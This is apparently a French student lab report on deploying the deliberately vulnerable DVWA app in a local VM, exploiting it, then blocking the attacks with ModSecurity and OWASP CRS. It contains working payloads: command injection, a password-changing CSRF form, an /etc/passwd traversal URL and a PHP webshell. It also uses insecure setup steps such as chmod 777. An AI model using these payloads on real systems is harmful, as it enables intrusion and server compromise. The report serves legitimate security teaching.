

Compte Rendu Technique

Installation de DVWA & Mise en place d'un WAF (ModSecurity)

Nissa Karadag • Décembre 2025

Auteure	Nissa Karadag
Date	Décembre 2025
Environnement	VirtualBox • Ubuntu Server 24.04 LTS
Application cible	DVWA (Damn Vulnerable Web Application)
Réseau	NAT + Redirection de ports (SSH :2222, HTTP :8080)
WAF	ModSecurity 2 + OWASP CRS sur Apache2

Partie 1 — Déploiement de l'environnement

1.1 Création de la machine virtuelle

La VM Ubuntu Server 24.04 LTS a été configurée dans VirtualBox avec les caractéristiques suivantes :

- Nom : tpYboostArmand — Système : Ubuntu 64-bit
- Mémoire : 4 Go RAM, 2 processeurs, disque 20 Go
- Réseau : mode NAT avec redirection de ports
- Adresse IP de la VM : 10.0.2.15

Règles de redirection de ports

Nom	Protocole	Port hôte	IP invité	Port invité
ssh	TCP	2222	—	22
http	TCP	8080	10.0.2.15	80

1.2 Installation des services

Après l'installation d'Ubuntu Server, les services suivants ont été déployés via SSH depuis la machine Windows :

Serveur SSH

```
sudo apt install openssh-server -y
sudo systemctl enable ssh && sudo systemctl start ssh
```

Serveur Web Apache + PHP

```
sudo apt install apache2 php php-mysql php-gd php-curl php-zip php-xml php-json  
-y
```

Base de données MariaDB

```
sudo apt install mariadb-server -y  
sudo mysql -u root  
CREATE DATABASE dvwa;  
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';  
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
```

1.3 Déploiement de DVWA

DVWA (Damn Vulnerable Web Application) a été téléchargé depuis GitHub, transféré sur la VM via FileZilla (SFTP), et déployé dans /var/www/html/.

- Téléchargement du ZIP depuis github.com/digininja/DVWA
- Transfert via FileZilla (SFTP sur port 2222 → VM port 22)
- Copie de config.inc.php.dist vers config.inc.php
- Attribution des droits (chmod 777) sur hackable/, config/, uploads/
- Initialisation via <http://127.0.0.1:8080/setup.php> → Create/Reset Database
- Connexion avec les identifiants par défaut : admin / password

Partie 2 — Exploitation des vulnérabilités (mode Low)

DVWA a été configuré en niveau de sécurité Low, ce qui désactive toute protection. Quatre vulnérabilités ont été exploitées :

2.1 Command Injection

La fonctionnalité de ping ne filtre pas les entrées utilisateur, permettant d'injecter des commandes système supplémentaires via le caractère point-virgule (;).

Payload utilisé

```
10.0.2.15 ; whoami
```

Résultat

Le serveur a retourné www-data — l'utilisateur Apache — prouvant l'exécution arbitraire de commandes sur le système hôte.

2.2 CSRF (Cross-Site Request Forgery)

DVWA ne génère aucun token CSRF et n'effectue aucune vérification de l'origine des requêtes. Une page HTML piégée a été créée pour forcer le changement de mot de passe de l'administrateur à son insu.

Fichier csrf.html créé

```
<form action="http://127.0.0.1:8080/vulnerabilities/csrf/" method="GET">  
  <input type="hidden" name="password_new" value="hacke123">
```

```
<input type="hidden" name="password_conf" value="hacke123">
<input type="submit" value="Clique ici pour un cadeau !">
</form>
```

Résultat

En cliquant sur le bouton, le mot de passe admin a été modifié à hacke123. La reconnexion avec l'ancien mot de passe a échoué, confirmant l'attaque réussie.

2.3 File Inclusion (LFI)

Le paramètre page= de la fonctionnalité de navigation est directement injecté dans la fonction include() de PHP sans aucune validation. Un chemin de traversée a permis de lire des fichiers système sensibles.

URL d'attaque

```
http://127.0.0.1:8080/vulnerabilities/fi/?page=../../../../../../etc/passwd
```

Explication de la traversée

Depuis /var/www/html/vulnerabilities/fi/, cinq niveaux de ../ sont nécessaires pour remonter jusqu'à la racine /, puis accéder à /etc/passwd.

Résultat

Le contenu complet du fichier /etc/passwd a été affiché dans le navigateur, révélant tous les comptes système du serveur Linux.

2.4 File Upload (RCE — Remote Code Execution)

L'application n'effectue aucune vérification du type ou du contenu des fichiers uploadés. Un webshell PHP a été déposé sur le serveur et exécuté pour obtenir un accès complet.

Webshell créé (shell.php)

```
<?php system($_GET['cmd']); ?>
```

Upload et exécution

```
http://127.0.0.1:8080/hackable/uploads/shell.php?cmd=whoami → www-data
http://127.0.0.1:8080/hackable/uploads/shell.php?cmd=uname%20-a → Linux
servarmand 6.14...
```

Résultat

Une compromission complète du serveur a été obtenue : exécution de commandes système arbitraires depuis le navigateur, avec les droits de l'utilisateur Apache (www-data).

Partie 3 — Mise en place du WAF (ModSecurity)

3.1 Installation et activation

```
sudo apt install libapache2-mod-security2 -y
sudo a2enmod security2
sudo systemctl restart apache2
```

3.2 Configuration

Le fichier de configuration a été activé et le moteur de règles mis en mode blocage :

```
sudo cp /etc/modsecurity/modsecurity.conf-recommended
/etc/modsecurity/modsecurity.conf
```

Modification dans modsecurity.conf :

```
SecRuleEngine DetectionOnly → SecRuleEngine On
```

3.3 Installation du ruleset OWASP CRS

```
sudo git clone https://github.com/coreruleset/coreruleset
/usr/share/modsecurity-crs
sudo cp -R /usr/share/modsecurity-crs /etc/modsecurity/crs
sudo cp /etc/modsecurity/crs/crs-setup.conf.example /etc/modsecurity/crs/crs-
setup.conf
sudo cp -R /etc/modsecurity/crs/rules /etc/modsecurity/
```

Le fichier security2.conf d'Apache a ensuite été mis à jour pour charger ces règles, puis Apache a été redémarré.

3.4 Résultats des tests

Les mêmes attaques ont été rejouées pour valider l'efficacité du WAF :

Vulnérabilité	Payload testé	Résultat WAF
LFI	../../../../../../etc/passwd	BLOQUE
XSS Reflected	<script>alert('xss')</script>	BLOQUE
Command Injection	127.0.0.1 ; ls -la	BLOQUE
File Upload PHP	<?php echo 'HACKED'; ?>	BLOQUE
SQL Injection	1' OR '1'='1	DETECTE (log)

Les logs d'audit ModSecurity (/var/log/apache2/modsec_audit.log) confirment la détection et le blocage de chaque attaque, avec les identifiants de règles OWASP CRS correspondants.

Bilan et conclusions

Ce TP a permis de mettre en pratique l'ensemble du cycle de vie de la sécurité web, en deux phases complémentaires :

Phase Offensive

- Command Injection
- CSRF — Vol de session / Changement de mdp
- LFI — Lecture de /etc/passwd
- RCE via File Upload (webshell PHP)

Phase Défensive

- Installation ModSecurity + Apache
- Activation OWASP CRS (règles communautaires)
- Validation via logs d'audit
- Blocage de toutes les attaques

précédentes

Ce TP illustre concrètement pourquoi une application sans protection est rapidement compromettable, et comment un WAF correctement configuré constitue une première ligne de défense efficace, même face à des attaques classiques.